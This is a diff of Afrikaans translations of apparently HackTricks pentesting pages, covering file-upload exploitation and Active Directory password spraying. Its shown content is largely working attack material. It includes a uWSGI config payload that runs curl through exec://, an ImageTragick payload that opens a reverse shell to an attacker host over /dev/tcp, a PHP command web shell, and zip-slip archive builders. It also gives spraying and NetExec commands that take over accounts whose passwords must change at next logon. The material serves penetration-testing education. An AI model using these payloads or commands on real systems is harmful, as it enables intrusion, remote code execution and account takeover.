+Vir 'n gedetaileerde verkenning van hierdie kwesbaarheid, sien die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Remote Command Execution (RCE) kwesbaarhede kan in uWSGI servers uitgebuit word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers gebruik 'n spesifieke sintaksis om "magic" veranderlikes, plaashouers en operateurs in te sluit. Die '@' operateur, gebruik as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Van die verskeie ondersteunende skemas in uWSGI is die "exec" skema besonder kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
+Remote Command Execution (RCE) kwesbaarhede kan in uWSGI-bedieners uitgebuit word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI-konfigurasielêers gebruik 'n spesifieke sintaksis om "magic" veranderlikes, plekhouers en operateurs in te sluit. Noemenswaardig is die '@' operateur, wat as `@(filename)` gebruik word en bedoel is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonder kragtig, wat toelaat om data vanaf 'n proses se standaarduitset te lees. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
 
-Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas demonstreer:
+Oorweeg die volgende voorbeeld van 'n kwaadwillige `uwsgi.ini`-lêer wat verskeie skemas demonstreer:
 ```ini
 [uwsgi]
 ; read from a symbol
@@ -126,15 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-Die uitvoering van die payload gebeur tydens die ontleding van die konfigurasielêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses óf herbegin word (moontlik ná 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel wees. Die auto-reload-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
+Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasielêer. Om die konfigurasie te aktiveer en te ontleed, moet die uWSGI-proses óf herbegin word (moontlik na 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel wees. Die auto-reload-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge gedetecteer word.
 
-Dit is noodsaaklik om die los aard van uWSGI se konfigurasielêer-ontleding te verstaan. Spesifiek kan die genoemde payload in 'n binaire lêer (soos 'n beeld of PDF) ingesit word, wat die omvang van moontlike exploitation verder vergroot.
+Dit is uiters belangrik om die losse aard van uWSGI se konfigurasielêer-ontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van moontlike eksploitasie verder uitbrei.
 
 ## **wget Lêeroplaai/SSRF Truuk**
 
-In sommige gevalle sal jy vind dat 'n server **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** aandui. In sulke gevalle mag die kode kontroleer dat die ekstensie van die afgelaaide lêers op 'n whitelist is om te verseker dat slegs toegelate lêers afgelaai sal word. Daarteenoor, **hierdie check kan bypassed word.**\
-
-Die **maksimum** lengte van 'n **filename** in **linux** is **255**, egter **wget** verkort die filename tot **236** karakters. Jy kan **download a file called "A"\*232+".php"+".gif"**, hierdie lêernaam sal die **bypass** van die **check** omseil (soos in hierdie voorbeeld **".gif"** 'n **valid** ekstensie is), maar `wget` sal die lêer **rename** na **"A"\*232+".php"**.
+In sommige gevalle sal jy vind dat 'n server **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** aandui. In sulke gevalle mag die kode nagaan dat die extensie van die afgelaaide lêers in 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. Hierdie kontrole kan egter **omseil** worden.\
+Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, maar **wget** sny die filenamens af na **236** karakters. Jy kan **'n lêer aflaai met die naam "A"\*232+".php"+".gif"**, hierdie filenaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld **".gif"** 'n **geldige** extensie is) maar `wget` sal die lêer **hernoem** na **"A"\*232+".php"**.
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -157,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Let daarop dat **nog ’n opsie** waaraan jy dalk dink om hierdie kontrole te omseil, is om die **HTTP-server te laat herlei na ’n ander lêer**, sodat die aanvanklike URL die kontrole omseil en wget dan die herlei‑lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tensy** wget met die **parameter** `--trust-server-names` gebruik word, omdat **wget die herlei bladsy met die naam van die lêer soos in die oorspronklike URL aangedui, sal aflaai**.
+Noteer dat jy dalk aan nog 'n opsie dink om hierdie kontrole te omseil: laat die **HTTP server** herlei na 'n ander lêer, sodat die aanvanklike **URL** die kontrole omseil en dan `wget` die herleiëde lêer met die nuwe naam aflaai. Dit sal egter **nie werk nie** **tensy** `wget` met die **parameter** `--trust-server-names` gebruik word, omdat **wget will download the redirected page with the name of the file indicated in the original URL**.
 
-## Gereedskap
+## Tools
 
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is ’n kragtige tool ontwerp om Pentesters en Bug Hunters te help om file upload meganismes te toets. Dit maak gebruik van verskeie bug bounty tegnieke om die proses van die identifisering en eksploitering van kwetsbaarhede te vereenvoudig, wat sorg vir deeglike assesserings van web applications.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toetsing van file upload mechanisms. Dit benut verskeie bug bounty techniques om die proses van identifisering en exploit van kwetsbaarhede te vereenvoudig en verseker deeglike assesserings van webtoepassings.
 
 ### Corrupting upload indices with snprintf quirks (historical)
 
-Sommige legacy upload handlers wat `snprintf()` of soortgelyke funksies gebruik om multi-file arrays uit ’n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkapping in `snprintf()` gedrag, kan ’n sorgvuldig saamgestelde enkele upload op die bediener‑kant as meerdere geïndekseerde files verskyn, wat logika in die war bring wat ’n streng vorm aanvaar (bv. dit as ’n multi-file upload behandel en onveilige takke volg). Alhoewel dit vandag nismatig is, kom hierdie “index corruption” patroon soms weer voor in CTFs en ouer codebases.
+Sommige ouer upload handlers wat `snprintf()` of iets soortgelyks gebruik om multi-file arrays van 'n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkap in die gedrag van `snprintf()`, kan 'n sorgvuldig saamgestelde enkele upload aan die bedienerkant as meerdere geïndekseerde lêers voorkom, wat logika wat 'n streng vorm aanvaar (bv. dit as 'n multi-file upload beskou en onveilige takke ingaan) in die war bring. Alhoewel dit vandag niskerig is, duik hierdie “index corruption” patroon af en toe weer op in CTFs en ouer codebasisse.
 
 ## From File upload to other vulnerabilities
 
-- Stel **filename** op `../../../tmp/lol.png` en probeer om ’n **path traversal** te bereik
-- Stel **filename** op `sleep(10)-- -.jpg` en jy mag ’n **SQL injection** kan bereik
-- Stel **filename** op `<svg onload=alert(document.domain)>` om ’n XSS te bewerkstellig
+- Stel **filename** op `../../../tmp/lol.png` en probeer 'n **path traversal** bewerkstellig
+- Stel **filename** op `sleep(10)-- -.jpg` en jy mag 'n **SQL injection** kan bereik
+- Stel **filename** op `<svg onload=alert(document.domain)>` om 'n XSS te bewerkstellig
 - Stel **filename** op `; sleep 10;` om sekere command injection te toets (meer [command injections tricks here](../command-injection.md))
 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
-- Probeer **verskillende svg payloads** vanaf [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+- Probeer **different svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- As jy die web server kan aandui om ’n image vanaf ’n URL te haal, kan jy probeer om ’n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** in ’n **public** site gestoor gaan word, kan jy ook ’n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en inligting van elke besoeker **steel**.
+- As jy die web server kan laat aflaai 'n **image** vanaf 'n URL, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** op 'n **public** site gestoor gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **steel inligting van elke besoeker**.
 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
-- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy verduidelik hoe om **PDF data in te spuit om JS‑uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan upload, kan jy ’n PDF voorberei wat arbitraire JS uitvoer volgens die gegewe aanwysings.
-- Upload die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud om te kyk of die server enige **antivirus** het
-- Kyk of daar enige **size limit** is wanneer jy files upload
+- Spesiaal saamgestelde PDFs vir XSS: Die [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n PDF voorberei wat arbitrêre JS sal uitvoer volgens die gegewe instruksies.
+- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
+- Kontroleer of daar enige **size limit** is wanneer lêers opgelaai word
 
-Hier is ’n top 10‑lys van dinge wat jy deur uploading kan bereik (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Hier's 'n top 10 lys van dinge wat jy deur oplaai kan bereik (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
@@ -214,30 +213,30 @@ Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wik
 
 ## Zip/Tar File Automatically decompressed Upload
 
-As jy ’n ZIP kan upload wat binne die server ontpak gaan word, kan jy twee dinge doen:
+As jy 'n ZIP kan oplaai wat binne op die bediener ontpak gaan word, kan jy twee dinge doen:
 
 ### Symlink
 
-Upload ’n link wat soft links na ander files bevat, dan, deur toegang te kry tot die ontpakte files sal jy toegang kry tot die geskakelde files:
+Laai 'n link op wat soft links na ander lêers bevat; deur toegang te kry tot die ontpakte lêers sal jy ook toegang tot die gekoppelde lêers kry:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
-### Ontpak in verskillende gidse
+### Uitpak in verskillende gidse
 
-Die onverwagte skepping van lêers in gidse tydens ontpakking is 'n beduidende probleem. Ondanks aanvanklike aanname dat hierdie opstelling moontlik teen OS-level command execution deur kwaadwillige lêeroplaaie sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit laat aanvallers toe om beperkings te omseil en uit veilige upload directories te ontsnap deur die ontpakkingsfunksionaliteit van die geteikende toepassing te manipuleer.
+Die onverwagte aanmaak van lêers in gidse tydens uitpak is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling teen OS-level command execution via malicious file uploads sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en uit veilige upload directories te ontsnap deur die decompression-funksionaliteit van die geteikende toepassing te manipuleer.
 
-'n Geautomatiseerde exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word:
+'n Geoutomatiseerde exploit om sulke lêers te craft is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word:
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Daarbenewens is die **symlink trick with evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking teëkom nie.
+Daarbenewens is die **symlink trick with evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute teëkom tydens sy werking nie.
 
-Hieronder is 'n voorbeeld van Python code wat gebruik word om 'n kwaadaardige zip file te skep:
+Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
 ```python
 #!/usr/bin/python
 import zipfile
@@ -257,9 +256,9 @@ create_zip()
 ```
 **Misbruik van kompressie vir file spraying**
 
-Vir meer besonderhede **sien die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Vir meer besonderhede **kyk na die oorspronklike plasing by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/]
 
-1.  **Creating a PHP Shell**: PHP-kode word geskryf om opdragte wat via die `$_REQUEST`-veranderlike gestuur word, uit te voer.
+1.  **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike gestuur word.
 
 ```php
 <?php
@@ -269,14 +268,14 @@ system($cmd);
 }?>
 ```
 
-2.  **File Spraying and Compressed File Creation**: Verskeie lêers word geskep en 'n zip-argief wat hierdie lêers bevat, word saamgestel.
+2.  **File Spraying and Compressed File Creation**: Verskeie lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat.
 
 ```bash
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
-3.  **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n Hex Editor verander, deur "xxA" na "../" te vervang om deur gids.strukture te navigeer.
+3.  **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, deur "xxA" na "../" te verander om deur gidse te navigeer.
 
 ```bash
 :set modifiable
@@ -286,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 
 ## ImageTragic
 
-Laai hierdie inhoud op met 'n image extension om die kwesbaarheid uit te buit **(ImageMagick , 7.0.1-1)** (sien die [exploit](https://www.exploit-db.com/exploits/39767))
+Laai hierdie inhoud op met 'n beeld-uitbreiding om die kwesbaarheid te misbruik **(ImageMagick, 7.0.1-1)** (van die [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Insluiting van PHP-shell in PNG
+## Embedding PHP Shell on PNG
 
-Om 'n PHP-shell in die IDAT-chunk van 'n PNG-lêer in te sluit, kan sekere beeldverwerkingsoperasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle gewoonlik gebruik word vir die verkleining en hersamplering van beelde. Die vermoë van die ingeslote PHP-shell om ongedeerd te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle.
+Die inbedding van 'n PHP shell in die IDAT chunk van 'n PNG-lêer kan sekere beeldverwerkingsoperasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word om onderskeidelik beelde te hergroot en te hersampel. Die vermoë van die ingebedde PHP shell om ongeskonde te bly deur hierdie operasies is 'n noemenswaardige voordeel vir sekere gebruiksgevalle.
 
-'n Gedetailleerde ondersoek van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie bron bied 'n omvattende begrip van die proses en sy implikasies.
+'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
 
-Meer inligting by: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
+More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 
-## Polyglot-lêers
+## Polyglot Files
 
-Polyglot-lêers dien as 'n unieke hulpmiddel in kuberveiligheid, en tree op soos kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie tot hierdie kombinasie beperk nie; samevoegings soos GIF en JS of PPT en JS is ook uitvoerbaar.
+Polyglot files dien as 'n unieke hulpmiddel in kuberveiligheid, wat as kameleons optree wat geldig in meerdere lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook moontlik.
 
-Die kernnut van polyglot-lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe skerm. Algemene praktyk in verskeie toepassings behels dat net sekere lêertipes vir upload toegelaat word — soos JPEG, GIF of DOC — om die risiko van potensieel gevaarlike formate (bv. JS, PHP of Phar-lêers) te beperk. 'n Polyglot, deur aan die strukturele kriteria van verskeie lêertipes te voldoen, kan hierdie beperkings stilweg omseil.
+Die kernnut van polyglot files lê in hul kapasiteit om sekuriteitsmaatreëls wat lêers op grond van tipe ondersoek, te omseil. Algemene praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir upload—soos JPEG, GIF of DOC—om die risiko wat moontlik skadelike formate (bv. JS, PHP of Phar-lêers) inhou, te verminder. 'n Polyglot kan egter, deur aan die strukturele kriteria van meerdere lêertipes te voldoen, hierdie beperkings stilweg omseil.
 
-Ten spyte van hul aanpasbaarheid, ondervind polyglots wel beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdertyd 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote strukturele dualiteit van 'n polyglot nie genoeg wees om die upload te verseker nie.
+Ten spyte van hul aanpasbaarheid, ervaar polyglots beperkings. Byvoorbeeld, al kan 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG bevat, kan die sukses van die upload afhang van die platform se beleid rondom lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidinge, mag die loutere strukturele dualiteit van 'n polyglot nie voldoende wees om sy upload te verseker nie.
 
-Meer inligting by: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
+More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-### Upload geldige JSONs soos asof dit 'n PDF is
+### Upload geldige JSONs asof dit 'n PDF is
 
-Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n valse PDF-lêer voor te gee (tegnieke uit **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 
-- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (sien voorbeeld in die post)
-- **`pdflib` library**: Voeg 'n valse PDF-formaat binne 'n veld van die JSON in sodat die library dink dit is 'n PDF (sien voorbeeld in die post)
-- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n JSON kan parseer nie en sit dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dis 'n PDF
+- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (get example from post)
+- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON in sodat die library dink dit is 'n pdf (get example from post)
+- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n JSON kan ontleed nie, en sit dan binne die JSON die aanvanklike deel van 'n regte PDF sodat dit dink dit is 'n PDF
 
-## Verwysings
+## References
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
 - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)

src/windows-hardening/active-directory-methodology/kerberos-authentication.md

@@ -1,7 +1,7 @@
-# Kerberos Verifikasie
+# Kerberos-verifikasie
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Kyk na die fantastiese artikel by:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
+**Sien die wonderlike artikel by:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/password-spraying.md

@@ -5,16 +5,16 @@
 
 ## **Password Spraying**
 
-Sodra jy verskeie **geldige gebruikersname** gevind het, kan jy met elke ontdekte gebruiker die mees **algemene wagwoorde** probeer (hou die wagwoordbeleid van die omgewing in gedagte).\
-Die **standaard** **minimum** **wagwoord** **lengte** is **7**.
+Sodra jy verskeie **valid usernames** gevind het, kan jy die mees **common passwords** probeer (hou die password policy van die omgewing in gedagte) vir elkeen van die ontdekte users.\
+By **default** die **minimum** **password** **length** is **7**.
 
-Lyste van algemene gebruikersname kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
+Lyste van common usernames kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 
-Let wel dat jy **sommige rekeninge kan uitsluit as jy verskeie verkeerde wagwoorde probeer** (standaard meer as 10).
+Let wel dat jy sommige accounts kan lockout as jy verskeie verkeerde passwords probeer (by default meer as 10).
 
-### Kry wagwoordbeleid
+### Kry password policy
 
-As jy inlogbewyse het of 'n shell as 'n domeingebruiker, kan jy **die wagwoordbeleid kry met**:
+As jy enige user credentials of 'n shell as 'n domain user het, kan jy **get the password policy with**:
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@@ -31,9 +31,9 @@ net accounts
 
 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### Exploitation vanaf Linux (of alles)
+### Eksploitasie vanaf Linux (of almal)
 
-- Gebruik **crackmapexec:**
+- Gebruik van **crackmapexec:**
 ```bash
 crackmapexec smb <IP> -u users.txt -p passwords.txt
 # Local Auth Spray (once you found some local admin pass or hash)
@@ -51,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 ```
-- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVEEL; SOMS WERK DIT NIE
+- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVEELD; SOMS WERK DIT NIE
 ```bash
 python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
 python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
 
 ![](<../../images/image (745).png>)
 
-- Met **rpcclient**:
+- Deur **rpcclient** te gebruik:
 ```bash
 # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
 for u in $(cat users.txt); do
@@ -69,7 +69,7 @@ done
 ```
 #### Vanaf Windows
 
-- Met [Rubeus](https://github.com/Zer1t0/Rubeus) weergawe met brute module:
+- Met [Rubeus](https://github.com/Zer1t0/Rubeus) weergawe met brute-module:
 ```bash
 # with a list of users
 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@@ -77,7 +77,7 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan standaard gebruikers uit die domein genereer en sal die wagwoordbeleid van die domein haal en pogings daarvolgens beperk):
+- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan standaard gebruikers uit die domein genereer, en dit haal die wagwoordbeleid van die domein op en beperk die pogings ooreenkomstig daaraan):
 ```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
@@ -87,10 +87,10 @@ Invoke-SprayEmptyPassword
 ```
 ### Identifiseer en Oorneem "Password must change at next logon" Rekeninge (SAMR)
 
-’ n Lae-ruis-tegniek is om 'n onskadelike/leë wagwoord te spray en rekeninge wat STATUS_PASSWORD_MUST_CHANGE teruggee te vang. Dit dui aan dat die wagwoord gedwonge verval is en sonder om die ou wagwoord te ken verander kan word.
+'n Lae-ruis tegniek is om 'n onskadelike/leë wagwoord te spray en rekeninge vas te vang wat STATUS_PASSWORD_MUST_CHANGE teruggee, wat aandui dat die wagwoord gedwinglik verval is en sonder kennis van die ou een verander kan word.
 
-Workflow:
-- Enumereer gebruikers (RID brute via SAMR) om die teikenlys te bou:
+Werksvloei:
+- Enumereer gebruikers (RID brute via SAMR) om die teikelys op te bou:
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@@ -99,12 +99,12 @@ Workflow:
 # NetExec (null/guest) + RID brute to harvest users
 netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
 ```
-- Spray 'n leë wagwoord en gaan voort op hits om rekeninge vas te vang wat by die volgende logon hul wagwoord moet verander:
+- Spray 'n leë password en hou aan met hits om rekeninge te vang wat by die volgende logon verander moet word:
 ```bash
 # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
 netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
 ```
-- Vir elke treffer, verander die wagwoord oor SAMR met NetExec se module (geen ou wagwoord benodig wanneer "must change" gestel is nie):
+- Vir elke treffer, verander die wagwoord oor SAMR met NetExec’s module (geen ou wagwoord nodig wanneer "must change" ingestel is):
 ```bash
 # Strong complexity to satisfy policy
 env NEWPASS='P@ssw0rd!2025#' ; \
@@ -114,24 +114,24 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
 netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
 ```
 Operasionele notas:
-- Verseker jou host se klok is gesinchroniseer met die DC voordat Kerberos-gebaseerde operasies uitgevoer word: `sudo ntpdate <dc_fqdn>`.
